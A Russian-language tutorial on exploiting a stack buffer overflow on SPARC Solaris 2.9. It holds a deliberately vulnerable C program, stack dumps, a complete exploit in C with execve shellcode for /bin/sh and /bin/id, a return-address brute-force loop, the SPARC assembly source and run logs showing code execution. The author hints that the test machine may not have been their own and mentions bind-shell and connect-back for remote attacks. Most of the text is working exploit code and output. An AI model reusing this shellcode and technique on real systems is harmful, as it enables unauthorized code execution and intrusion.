-* Sunos/Solaris bof *-
^ ^ ^ ^ ^ ^ ^ ^ ^
Причин написать эту банальную, казалось бы, статью было четыре:
- непривычная архитектура (SPARC)
- непривычная ось (Solaris 2.9)
- мало инфы в сети
- использование именно Solaris гос. структурами США %)
Собственно приступим. Вот пример уязвимой проги:
#include <stdio.h>
int rabbit(char *txt)
{
int l;
char test[48];
#ifdef _DEBUG
l = &test;
printf("[+] addr: 0x%x\n", l); // выводим адрес буфера test, он
// пригодится при подборе ret'a
// dump stack
printf("%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
"%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
"%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n");
printf("[+] do strcpy\n\n");
#endif
strcpy(test, txt);
#ifdef _DEBUG
printf("%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
"%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n"
"%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n");
#endif
return 0;
}
int main(int argc, char *argv[])
{
long sp, fp;
#ifdef _DEBUG
// посмотрим что у нас в стеке сразу после вызова main()
printf("%x %x %x %x \n%x %x %x %x \n%x %x %x %x\n%x %x %x %x\n%x %x %x %x\n");
printf("[+] argc addr: 0x%x\n", &argc); // вывод адресов аргументов,
printf("[+] argv addr: 0x%x\n", &argv); // переданных функции
printf("[+] argv[0] addr: 0x%x\n", &argv[0]);
printf("[+] argv[1] addr: 0x%x\n", &argv[1]);
#endif
rabbit(argv[1]);
return 0;
}
Собственно, вот и всё что нужно для начала, посмотрим на стек:
bash-2.05$ gcc -o bof -D_DEBUG bof.c
bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaa
ff342088 359c0 ff3b3814 ffbffff8
ff3caff8 ffbffdb4 4 ffbffdc0
5 ffbffe04 0 0
2 ffbffdb4 0 0
0 0 0 0
[+] argc addr: 0xffbffd94
[+] argv addr: 0xffbffd98
[+] argv[0] addr: 0xffbffdb4
[+] argv[1] addr: 0xffbffdb8
[+] addr: 0xffbffc90 <<------------------- адрес буфера test[] в стеке
ffbffc90 0 ff33c000 0 <<------------------- дамп стека до копирования
0 0 0 0
10ab0 4 359c0 ff3b3814
ffbffff8 ffbffdb8 ffbffcd8 10848
359c0 ff3b3814 ffbffff8 ffbffc90
ffbffcf0 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffdb4 ffbffdc0 20c84
0 0 ffbffd50 10588
^^^^^ ----------------------------- Ret.Addr
0 ffbffe8a 4 359c0
ff3b3814 ffbffff8 ffbffdb8 ffbffdb4
4 4 5 ffbffe04
0 0 2 ffbffdb4
0 0 0 0
[+] do strcpy <<------------------------ вызов strcpy()
ffbffea8 ffbffc90 61616100 61
0 0 61616161 61616161
61616161 61616161 61616161 61616161
61616100 ffbffdb8 ffbffcd8 10848
359c0 ff3b3814 ffbffff8 ffbffc90
ffbffcf0 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffdb4 ffbffdc0 20c84
0 0 ffbffd50 10588
0 ffbffe8a 4 359c0
ff3b3814 ffbffff8 ffbffdb8 ffbffdb4
4 4 5 ffbffe04
0 0 2 ffbffdb4
0 0 0 0
Теперь попробуем найти eip и затереть его.
bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ff342088 359c0 ff3b3814 ffbffff3
ff3caff8 ffbffd7c 4 ffbffd88
5 ffbffdcc 0 0
2 ffbffd7c 0 0
0 0 0 0
[+] argc addr: 0xffbffd5c
[+] argv addr: 0xffbffd60
[+] argv[0] addr: 0xffbffd7c
[+] argv[1] addr: 0xffbffd80
[+] addr: 0xffbffc58
ffbffc58 0 ff33c000 0
0 0 0 0
10ab0 4 359c0 ff3b3814
ffbffff3 ffbffd80 ffbffca0 10848
359c0 ff3b3814 ffbffff3 ffbffc58
ffbffcb8 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffd7c ffbffd88 20c84
0 0 ffbffd18 10588
0 ffbffe52 4 359c0
ff3b3814 ffbffff3 ffbffd80 ffbffd7c
4 4 5 ffbffdcc
0 0 2 ffbffd7c
0 0 0 0
[+] do strcpy
ffbffea4 ffbffc58 61610050 6161
0 0 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61610000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffd7c ffbffd88 20c84
0 0 ffbffd18 10588
0 ffbffe52 4 359c0
ff3b3814 ffbffff3 ffbffd80 ffbffd7c
4 4 5 ffbffdcc
0 0 2 ffbffd7c
0 0 0 0
bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ff342088 359c0 ff3b3814 ffbffff5
ff3caff8 ffbffd54 4 ffbffd60
5 ffbffda4 0 0
2 ffbffd54 0 0
0 0 0 0
[+] argc addr: 0xffbffd34
[+] argv addr: 0xffbffd38
[+] argv[0] addr: 0xffbffd54
[+] argv[1] addr: 0xffbffd58
[+] addr: 0xffbffc30
ffbffc30 0 ff33c000 0
0 0 0 0
10ab0 4 359c0 ff3b3814
ffbffff5 ffbffd58 ffbffc78 10848
359c0 ff3b3814 ffbffff5 ffbffc30
ffbffc90 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffd54 ffbffd60 20c84
0 0 ffbffcf0 10588
0 ffbffe2a 4 359c0
ff3b3814 ffbffff5 ffbffd58 ffbffd54
4 4 5 ffbffda4
0 0 2 ffbffd54
0 0 0 0
[+] do strcpy
ffbffea4 ffbffc30 500000 61
0 0 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
0 0 ffbffcf0 10588
0 ffbffe2a 4 359c0
ff3b3814 ffbffff5 ffbffd58 ffbffd54
4 4 5 ffbffda4
0 0 2 ffbffd54
0 0 0 0
bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ff342088 359c0 ff3b3814 ffbffff2
ff3caff8 ffbffd4c 4 ffbffd58
5 ffbffd9c 0 0
2 ffbffd4c 0 0
0 0 0 0
[+] argc addr: 0xffbffd2c
[+] argv addr: 0xffbffd30
[+] argv[0] addr: 0xffbffd4c
[+] argv[1] addr: 0xffbffd50
[+] addr: 0xffbffc28
ffbffc28 0 ff33c000 0
0 0 0 0
10ab0 4 359c0 ff3b3814
ffbffff2 ffbffd50 ffbffc70 10848
359c0 ff3b3814 ffbffff2 ffbffc28
ffbffc88 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffd4c ffbffd58 20c84
0 0 ffbffce8 10588
0 ffbffe22 4 359c0
ff3b3814 ffbffff2 ffbffd50 ffbffd4c
4 4 5 ffbffd9c
0 0 2 ffbffd4c
0 0 0 0
[+] do strcpy
ffbffea0 ffbffc28 61000000 6100
0 0 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61000000 ffbffce8 10588
0 ffbffe22 4 359c0
ff3b3814 ffbffff2 ffbffd50 ffbffd4c
4 4 5 ffbffd9c
0 0 2 ffbffd4c
0 0 0 0
bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ff342088 359c0 ff3b3814 ffbffff4
ff3caff8 ffbffd4c 4 ffbffd58
5 ffbffd9c 0 0
2 ffbffd4c 0 0
0 0 0 0
[+] argc addr: 0xffbffd2c
[+] argv addr: 0xffbffd30
[+] argv[0] addr: 0xffbffd4c
[+] argv[1] addr: 0xffbffd50
[+] addr: 0xffbffc28
ffbffc28 0 ff33c000 0
0 0 0 0
10ab0 4 359c0 ff3b3814
ffbffff4 ffbffd50 ffbffc70 10848
359c0 ff3b3814 ffbffff4 ffbffc28
ffbffc88 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffd4c ffbffd58 20c84
0 0 ffbffce8 10588
0 ffbffe22 4 359c0
ff3b3814 ffbffff4 ffbffd50 ffbffd4c
4 4 5 ffbffd9c
0 0 2 ffbffd4c
0 0 0 0
[+] do strcpy
ffbffea4 ffbffc28 61616100 61
0 0 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616100 ffbffce8 10588
0 ffbffe22 4 359c0
ff3b3814 ffbffff4 ffbffd50 ffbffd4c
4 4 5 ffbffd9c
0 0 2 ffbffd4c
0 0 0 0
bash-2.05$ ./bof aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ff342088 359c0 ff3b3814 ffbffff5
ff3caff8 ffbffd4c 4 ffbffd58
5 ffbffd9c 0 0
2 ffbffd4c 0 0
0 0 0 0
[+] argc addr: 0xffbffd2c
[+] argv addr: 0xffbffd30
[+] argv[0] addr: 0xffbffd4c
[+] argv[1] addr: 0xffbffd50
[+] addr: 0xffbffc28
ffbffc28 0 ff33c000 0
0 0 0 0
10ab0 4 359c0 ff3b3814
ffbffff5 ffbffd50 ffbffc70 10848
359c0 ff3b3814 ffbffff5 ffbffc28
ffbffc88 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffd4c ffbffd58 20c84
0 0 ffbffce8 10588
0 ffbffe22 4 359c0
ff3b3814 ffbffff5 ffbffd50 ffbffd4c
4 4 5 ffbffd9c
0 0 2 ffbffd4c
0 0 0 0
[+] do strcpy
ffbffea4 ffbffc28 500000 61
0 0 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 61616161 61616161
61616161 61616161 bffce8 10588
0 ffbffe22 4 359c0
ff3b3814 ffbffff5 ffbffd50 ffbffd4c
4 4 5 ffbffd9c
0 0 2 ffbffd4c
0 0 0 0
Segmentation Fault (core dumped)
Отлично, eip (на sparc'e он конечно называется по-другому %)) затёрт.
Btw, обратите внимание на то, что перед ним в стеке не лежит %fp.
Немного необычное устройство стека, видимо тут off-by-one и fp-corrupt
непрокатят.. Вернёмся к нашим баранам, вот пример эксплоита:
#include <stdio.h>
#include <unistd.h>
#define OFFSET 140 // 128 байт до переполнения + 3 копии ret-адреса
#define RET 0xffbffc04
#define BRUTE 0xffbffdff
#define RET_ADDR 0xffbffc28
#define NOP 0x92184001 // в качестве нопа or %g1,%g1,%o1
// порезаный execve() шеллкод, 60 байт
char shellcode[] =
"\x21\x0b\xcb\xd8\xa0\x14\x22\x69\x23\x1b\x8b\xdc\xa2\x14\x63\x68"
"\xe0\x3b\xbf\xe8\xc0\x23\xbf\xf0\x90\x23\xa0\x18\xd0\x23\xbf\xf4"
"\xc0\x23\xbf\xf8\x92\x23\xa0\x0c\x94\x1a\x40\x09\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";
int main(int argc, char *argv[])
{
int i, nop, ret, b = 0;
char argz[12], *ptr, *buf;
if (argc > 1)
{
ret = RET_ADDR;
b++;
}
ptr = (char *)malloc(OFFSET);
if (ptr == 0)
{
printf("[-] cant alloc mem\n");
return 0;
}
if (!b)
ret = RET; // ret addr
nop = NOP; // nop
buf = ptr;
for (i=0; i < (OFFSET - sizeof(shellcode) - 4); i+=4)
{
memcpy(buf, &nop, 4);
buf += 4;
}
memcpy(buf, &shellcode, sizeof(shellcode));
buf += sizeof(shellcode);
while(ret < BRUTE)
{
printf("[+] trying retaddr = 0x%x\n", ret);
if (b == 0)
{
if (fork() == 0)
{
memcpy((char *)(ptr+OFFSET-12), &ret, 4); // push ret addr
memcpy((char *)(ptr+OFFSET-8), &ret, 4); // push ret addr
memcpy((char *)(ptr+OFFSET-4), &ret, 4); // push ret addr
execl("./bof", "./bof", ptr, 0);
exit(1);
}
} else {
memcpy((char *)(ptr+OFFSET-12), &ret, 4); // push ret addr
memcpy((char *)(ptr+OFFSET-8), &ret, 4); // push ret addr
memcpy((char *)(ptr+OFFSET-4), &ret, 4); // push ret addr
execl("./bof", "./bof", ptr, 0);
exit(1);
}
ret += 4;
if (b) break;
}
return 0;
}
Обратите внимание на RET_ADDR, его значение равно адресу буфера test.
Пробуем:
bash-2.05$ ./xpl test
ff342088 359c0 ff3b3814 ffbffff6
ff3caff8 ffbffd64 4 ffbffd70
5 ffbffdb0 0 0
2 ffbffd64 0 0
0 0 0 0
[+] argc addr: 0xffbffd44
[+] argv addr: 0xffbffd48
[+] argv[0] addr: 0xffbffd64
[+] argv[1] addr: 0xffbffd68
[+] addr: 0xffbffc40
ffbffc40 0 ff33c000 0
0 0 0 0
10ab0 4 359c0 ff3b3814
ffbffff6 ffbffd68 ffbffc88 10848
359c0 ff3b3814 ffbffff6 ffbffc40
ffbffca0 ff29caf8 0 0
ff33e6b0 ff33c000 ff342090 0
0 0 0 ff3ec8ac
2 ffbffd64 ffbffd70 20c84
0 0 ffbffd00 10588
0 ffbffe36 4 359c0
ff3b3814 ffbffff6 ffbffd68 ffbffd64
4 4 5 ffbffdb0
0 0 2 ffbffd64
0 0 0 0
[+] do strcpy
ffbffeb8 ffbffc40 500000 92
0 0 92184001 92184001
92184001 92184001 92184001 92184001
92184001 92184001 92184001 92184001
92184001 92184001 92184001 92184001
92184001 92184001 210bcbd8 a0142269
231b8bdc a2146368 e03bbfe8 c023bff0
9023a018 d023bff4 c023bff8 9223a00c
941a4009 8210203b 91d02008 82102001
91d02008 ffbffc28 bffd00 10588
0 ffbffe36 4 359c0
ff3b3814 ffbffff6 ffbffd68 ffbffd64
4 4 5 ffbffdb0
0 0 2 ffbffd64
0 0 0 0
$
Вот тебе, бабушка, и юрьев день ) Судя по тому, что шелл не запустился,
можно придти к выводу, что ret оказался не совсем точен. Ок, тогда
обратимся к старому доброму брутфорсу, благо перебирать много вряд ли
придётся. RET - начальное значение перебора, BRUTE - конечное.
bash-2.05$ gcc -o bof bof.c // пересобираем без _DEBUG чтобы не засирал вывод
// отладочными данными
bash-2.05$ ./xpl
[+] trying retaddr = 0xffbffc04
[+] trying retaddr = 0xffbffc08
[+] trying retaddr = 0xffbffc0c
[+] trying retaddr = 0xffbffc10
[+] trying retaddr = 0xffbffc14
$ [+] trying retaddr = 0xffbffc18
[+] trying retaddr = 0xffbffc1c
[+] trying retaddr = 0xffbffc20
[+] trying retaddr = 0xffbffc24
[+] trying retaddr = 0xffbffc28
[+] trying retaddr = 0xffbffc2c
[+] trying retaddr = 0xffbffc30
[+] trying retaddr = 0xffbffc34
[+] trying retaddr = 0xffbffc38
[+] trying retaddr = 0xffbffc3c
[+] trying retaddr = 0xffbffc40
$ [+] trying retaddr = 0xffbffc44
[+] trying retaddr = 0xffbffc48
[+] trying retaddr = 0xffbffc4c
[+] trying retaddr = 0xffbffc50
[+] trying retaddr = 0xffbffc54
[+] trying retaddr = 0xffbffc58
[+] trying retaddr = 0xffbffc5c
[+] trying retaddr = 0xffbffc60
$ $ $ $ $ $ $ $ [+] trying retaddr = 0xffbffc64
[+] trying retaddr = 0xffbffc68
[+] trying retaddr = 0xffbffc6c
[+] trying retaddr = 0xffbffc70
[+] trying retaddr = 0xffbffc74
[+] trying retaddr = 0xffbffc78
[+] trying retaddr = 0xffbffc7c
[+] trying retaddr = 0xffbffc80
[+] trying retaddr = 0xffbffc84
[+] trying retaddr = 0xffbffc88
[+] trying retaddr = 0xffbffc8c
[+] trying retaddr = 0xffbffc90
[+] trying retaddr = 0xffbffc94
[+] trying retaddr = 0xffbffc98
[+] trying retaddr = 0xffbffc9c
[+] trying retaddr = 0xffbffca0
[+] trying retaddr = 0xffbffca4
[+] trying retaddr = 0xffbffca8
[+] trying retaddr = 0xffbffcac
[+] trying retaddr = 0xffbffcb0
[+] trying retaddr = 0xffbffcb4
[+] trying retaddr = 0xffbffcb8
[+] trying retaddr = 0xffbffcbc
[+] trying retaddr = 0xffbffcc0
[+] trying retaddr = 0xffbffcc4
[+] trying retaddr = 0xffbffcc8
[+] trying retaddr = 0xffbffccc
[+] trying retaddr = 0xffbffcd0
[+] trying retaddr = 0xffbffcd4
[+] trying retaddr = 0xffbffcd8
[+] trying retaddr = 0xffbffcdc
[+] trying retaddr = 0xffbffce0
[+] trying retaddr = 0xffbffce4
[+] trying retaddr = 0xffbffce8
[+] trying retaddr = 0xffbffcec
[+] trying retaddr = 0xffbffcf0
[+] trying retaddr = 0xffbffcf4
[+] trying retaddr = 0xffbffcf8
[+] trying retaddr = 0xffbffcfc
[+] trying retaddr = 0xffbffd00
[+] trying retaddr = 0xffbffd04
[+] trying retaddr = 0xffbffd08
[+] trying retaddr = 0xffbffd0c
[+] trying retaddr = 0xffbffd10
[+] trying retaddr = 0xffbffd14
[+] trying retaddr = 0xffbffd18
[+] trying retaddr = 0xffbffd1c
[+] trying retaddr = 0xffbffd20
[+] trying retaddr = 0xffbffd24
[+] trying retaddr = 0xffbffd28
[+] trying retaddr = 0xffbffd2c
[+] trying retaddr = 0xffbffd30
[+] trying retaddr = 0xffbffd34
[+] trying retaddr = 0xffbffd38
[+] trying retaddr = 0xffbffd3c
[+] trying retaddr = 0xffbffd40
[+] trying retaddr = 0xffbffd44
[+] trying retaddr = 0xffbffd48
[+] trying retaddr = 0xffbffd4c
[+] trying retaddr = 0xffbffd50
[+] trying retaddr = 0xffbffd54
[+] trying retaddr = 0xffbffd58
[+] trying retaddr = 0xffbffd5c
[+] trying retaddr = 0xffbffd60
[+] trying retaddr = 0xffbffd64
[+] trying retaddr = 0xffbffd68
[+] trying retaddr = 0xffbffd6c
[+] trying retaddr = 0xffbffd70
[+] trying retaddr = 0xffbffd74
[+] trying retaddr = 0xffbffd78
[+] trying retaddr = 0xffbffd7c
[+] trying retaddr = 0xffbffd80
[+] trying retaddr = 0xffbffd84
[+] trying retaddr = 0xffbffd88
[+] trying retaddr = 0xffbffd8c
[+] trying retaddr = 0xffbffd90
[+] trying retaddr = 0xffbffd94
[+] trying retaddr = 0xffbffd98
[+] trying retaddr = 0xffbffd9c
[+] trying retaddr = 0xffbffda0
[+] trying retaddr = 0xffbffda4
[+] trying retaddr = 0xffbffda8
[+] trying retaddr = 0xffbffdac
[+] trying retaddr = 0xffbffdb0
[+] trying retaddr = 0xffbffdb4
[+] trying retaddr = 0xffbffdb8
[+] trying retaddr = 0xffbffdbc
[+] trying retaddr = 0xffbffdc0
[+] trying retaddr = 0xffbffdc4
[+] trying retaddr = 0xffbffdc8
[+] trying retaddr = 0xffbffdcc
[+] trying retaddr = 0xffbffdd0
[+] trying retaddr = 0xffbffdd4
[+] trying retaddr = 0xffbffdd8
[+] trying retaddr = 0xffbffddc
[+] trying retaddr = 0xffbffde0
[+] trying retaddr = 0xffbffde4
[+] trying retaddr = 0xffbffde8
[+] trying retaddr = 0xffbffdec
[+] trying retaddr = 0xffbffdf0
[+] trying retaddr = 0xffbffdf4
[+] trying retaddr = 0xffbffdf8
[+] trying retaddr = 0xffbffdfc
echo bla
bla
bash-2.05$
Ок, тут происходит следующая фигня: т.к. при вызове fork() наследуются
дескрипторы 0-2, то чайлду и парренту приходится делить их. А поскольку
активен парент, шелл загибается (в данный момент на тестируемой системе
запрещено вешать бекграундные процессы, и менять это по меньшей мере
палево для меня ;)). Но самое интересное в том, что обещанная защита от
выполнения кода в стеке дала маху (или мне приснилось что Sun очень
хвастались устойчивостью своей системы?.. ).
Теперь немного модифицируем наш шеллкод, пусть запускается не /bin/sh,
а /bin/id. Тогда мы в любом случае сможем определить что ret-addr
подошёл.
bash-2.05$ cat exec_id.s
.text
.align 4
.global _start
_start:
! execve();
set 0x2f2f6269, %l0
set 0x6e2f6964, %l1
std %l0, [ %sp - 24 ]
clr [ %sp - 16 ]
sub %sp, 24, %o0
st %o0, [ %sp - 12 ]
clr [ %sp - 8 ]
sub %sp, 12, %o1
xor %o1,%o1,%o2
mov 59, %g1
ta 8
! exit()
mov 1, %
bash-2.05$ /usr/ccs/bin/as -o ex.o exec_id.s
bash-2.05$ /usr/ccs/bin/ld -o ex ex.o
bash-2.05$ ./ex
uid=502(darth) gid=1(other)
bash-2.05$ w
4:18pm up 14 day(s), 15:11, 4 users, load average: 0.40, 0.42, 0.38
User tty login@ idle JCPU PCPU what
darth pts/2 3:52pm w
root pts/3 4:07pm bash
bash-2.05$ damn..
bash-2.05$ /usr/ccs/bin/dis ./ex
* бля лог дампа где-то потерялся %)) Вобщем суть его в том что нужно
поменять всего-навсего 4 байта исходного шеллкода. *
В итоге получаем:
/* /bin/id execve() shellcode */
char shellcode[] =
"\x21\x0b\xcb\xd8\xa0\x14\x22\x69\x23\x1b\x8b\xda\xa2\x14\x61\x64"
"\xe0\x3b\xbf\xe8\xc0\x23\xbf\xf0\x90\x23\xa0\x18\xd0\x23\xbf\xf4"
"\xc0\x23\xbf\xf8\x92\x23\xa0\x0c\x94\x1a\x40\x09\x82\x10\x20\x3b"
"\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08";
bash-2.05$ gcc -o xpl bof_xpl.c
bash-2.05$ ./xpl
[+] trying retaddr = 0xffbffc04
[+] trying retaddr = 0xffbffc08
[+] trying retaddr = 0xffbffc0c
[+] trying retaddr = 0xffbffc10
[+] trying retaddr = 0xffbffc14
[+] trying retaddr = 0xffbffc18
uid=502(darth) gid=1(other)
[+] trying retaddr = 0xffbffc1c
[+] trying retaddr = 0xffbffc20
[+] trying retaddr = 0xffbffc24
[+] trying retaddr = 0xffbffc28
[+] trying retaddr = 0xffbffc2c
[+] trying retaddr = 0xffbffc30
[+] trying retaddr = 0xffbffc34
[+] trying retaddr = 0xffbffc38
[+] trying retaddr = 0xffbffc3c
uid=502(darth) gid=1(other)
uid=502(darth) gid=1(other)
uid=502(darth) gid=1(other)
uid=502(darth) gid=1(other)
[+] trying retaddr = 0xffbffc40
[+] trying retaddr = 0xffbffc44
[+] trying retaddr = 0xffbffc48
[+] trying retaddr = 0xffbffc4c
[+] trying retaddr = 0xffbffc50
[+] trying retaddr = 0xffbffc54
[+] trying retaddr = 0xffbffc58
[+] trying retaddr = 0xffbffc5c
[+] trying retaddr = 0xffbffc60
[+] trying retaddr = 0xffbffc64
[+] trying retaddr = 0xffbffc68
[+] trying retaddr = 0xffbffc6c
[+] trying retaddr = 0xffbffc70
[+] trying retaddr = 0xffbffc74
uid=502(darth) gid=1(other)
[+] trying retaddr = 0xffbffc78
[+] trying retaddr = 0xffbffc7c
[+] trying retaddr = 0xffbffc80
[+] trying retaddr = 0xffbffc84
[+] trying retaddr = 0xffbffc88
[+] trying retaddr = 0xffbffc8c
[+] trying retaddr = 0xffbffc90
[+] trying retaddr = 0xffbffc94
[+] trying retaddr = 0xffbffc98
[+] trying retaddr = 0xffbffc9c
[+] trying retaddr = 0xffbffca0
[+] trying retaddr = 0xffbffca4
[+] trying retaddr = 0xffbffca8
[+] trying retaddr = 0xffbffcac
[+] trying retaddr = 0xffbffcb0
[+] trying retaddr = 0xffbffcb4
[+] trying retaddr = 0xffbffcb8
[+] trying retaddr = 0xffbffcbc
[+] trying retaddr = 0xffbffcc0
[+] trying retaddr = 0xffbffcc4
[+] trying retaddr = 0xffbffcc8
[+] trying retaddr = 0xffbffccc
[+] trying retaddr = 0xffbffcd0
[+] trying retaddr = 0xffbffcd4
[+] trying retaddr = 0xffbffcd8
[+] trying retaddr = 0xffbffcdc
[+] trying retaddr = 0xffbffce0
[+] trying retaddr = 0xffbffce4
[+] trying retaddr = 0xffbffce8
[+] trying retaddr = 0xffbffcec
[+] trying retaddr = 0xffbffcf0
[+] trying retaddr = 0xffbffcf4
[+] trying retaddr = 0xffbffcf8
[+] trying retaddr = 0xffbffcfc
[+] trying retaddr = 0xffbffd00
[+] trying retaddr = 0xffbffd04
[+] trying retaddr = 0xffbffd08
[+] trying retaddr = 0xffbffd0c
[+] trying retaddr = 0xffbffd10
[+] trying retaddr = 0xffbffd14
[+] trying retaddr = 0xffbffd18
[+] trying retaddr = 0xffbffd1c
[+] trying retaddr = 0xffbffd20
[+] trying retaddr = 0xffbffd24
[+] trying retaddr = 0xffbffd28
[+] trying retaddr = 0xffbffd2c
[+] trying retaddr = 0xffbffd30
[+] trying retaddr = 0xffbffd34
[+] trying retaddr = 0xffbffd38
[+] trying retaddr = 0xffbffd3c
[+] trying retaddr = 0xffbffd40
[+] trying retaddr = 0xffbffd44
[+] trying retaddr = 0xffbffd48
[+] trying retaddr = 0xffbffd4c
[+] trying retaddr = 0xffbffd50
[+] trying retaddr = 0xffbffd54
[+] trying retaddr = 0xffbffd58
[+] trying retaddr = 0xffbffd5c
[+] trying retaddr = 0xffbffd60
[+] trying retaddr = 0xffbffd64
[+] trying retaddr = 0xffbffd68
[+] trying retaddr = 0xffbffd6c
[+] trying retaddr = 0xffbffd70
[+] trying retaddr = 0xffbffd74
[+] trying retaddr = 0xffbffd78
[+] trying retaddr = 0xffbffd7c
[+] trying retaddr = 0xffbffd80
[+] trying retaddr = 0xffbffd84
[+] trying retaddr = 0xffbffd88
[+] trying retaddr = 0xffbffd8c
[+] trying retaddr = 0xffbffd90
[+] trying retaddr = 0xffbffd94
[+] trying retaddr = 0xffbffd98
[+] trying retaddr = 0xffbffd9c
[+] trying retaddr = 0xffbffda0
[+] trying retaddr = 0xffbffda4
[+] trying retaddr = 0xffbffda8
[+] trying retaddr = 0xffbffdac
[+] trying retaddr = 0xffbffdb0
[+] trying retaddr = 0xffbffdb4
[+] trying retaddr = 0xffbffdb8
[+] trying retaddr = 0xffbffdbc
[+] trying retaddr = 0xffbffdc0
uid=502(darth) gid=1(other)
uid=502(darth) gid=1(other)
uid=502(darth) gid=1(other)
uid=502(darth) gid=1(other)
[+] trying retaddr = 0xffbffdc4
[+] trying retaddr = 0xffbffdc8
[+] trying retaddr = 0xffbffdcc
[+] trying retaddr = 0xffbffdd0
[+] trying retaddr = 0xffbffdd4
[+] trying retaddr = 0xffbffdd8
[+] trying retaddr = 0xffbffddc
[+] trying retaddr = 0xffbffde0
[+] trying retaddr = 0xffbffde4
[+] trying retaddr = 0xffbffde8
[+] trying retaddr = 0xffbffdec
[+] trying retaddr = 0xffbffdf0
[+] trying retaddr = 0xffbffdf4
[+] trying retaddr = 0xffbffdf8
[+] trying retaddr = 0xffbffdfc
bash-2.05$
Теперь видно, что всё работает нормально. Как ни странно, в этот раз
ret-ы легли немного иначе, хотя возможно это искажение вызвано адскими
лагами ).
Вообще, при локальном эксплойтинге, вполне можно обойтись одним лишь
вызовом waitpid(), при удалённом обычный bind-shell/connect-back может
спасти ситуацию.
Итак, выводы:
- никакой защиты от выполнения в стеке нету, во всяком случае по
умолчанию (а та машина, на которой всё это тестилось, выглядела очень
убедительно, не думаю что админ бы не включил эту функцию если бы она
там была).
- исходя из выше сказанного, логично что также будут работать и другие
атаки, например переполнения массивов самых разных типов, integer
overflow-based атаки, судя по версии компилера, должен нормально
эксплойтиться и heap, double-free(), etc..
- к сожалению, с всяческими атаками типа off-by-one произошёл облом.
p.s.
Самый кайф я ощутил когда обнаружил отсутсвие такого системного вызова,
как getppid() %). Мелочь, а неприятно.. dup2() тоже нехватает порой.
> 00:31:16 GMT